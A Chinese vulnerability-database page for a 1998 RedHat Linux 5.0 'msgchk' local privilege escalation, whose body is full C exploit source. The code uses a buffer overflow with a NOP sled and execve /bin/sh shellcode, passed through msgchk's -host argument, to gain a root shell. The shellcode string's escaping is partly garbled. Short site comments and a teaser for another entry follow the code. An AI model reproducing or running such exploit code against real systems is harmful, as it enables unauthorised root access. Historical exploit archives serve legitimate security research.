RedHat Linux 5.0 – ‘msgchk’ Local Privilege Escalation
漏洞ID | 1053356 | 漏洞类型 | |
发布时间 | 1998-01-19 | 更新时间 | 1998-01-19 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
// source: http://www.securityfocus.com/bid/383/info
//
// Similar to the mh vulnerability, a buffer overflow exists in the version of msgchk shipped with RedHat Linux 5.0. The vulnerability allows a user to execute arbritrary commands as root to compromise superuser access.
//
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 1018
#define NOP 0x90
char shellcode[] =
""xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b""
""x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd""
""x80xe8xdcxffxffxff/bin/sh"";
unsigned long get_sp(void) {
__asm__(""movl %esp,%eax"");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
char *args[5];
char jorge[]="""";
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf(""Can't allocate memory.n"");
exit(0);
}
addr = get_sp() - offset;
printf(""Using address: 0x%xn"", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4) {
buff[i]=addr & 0xFF;
buff[i+1]=(addr >> 8) & 0xFF;
buff[i+2]=(addr >> 16) & 0xFF;
buff[i+3]=(addr >> 24) & 0xFF;
}
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = ' ';
args[0]=""/usr/bin/mh/msgchk"";
args[1]=""-host"";
args[2]=buff;
args[3]=NULL;
execve(args[0],args,NULL);
}
KDE文件管理器(kfm)漏洞 漏洞ID 1207542 漏洞类型 未知 发布时间 1997-05-05 更新时间 1997-05-05 CVE编号 CVE-1999-1267 CNNVD-ID CNNVD-199705-005 漏洞平台 N/A CVSS评分…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666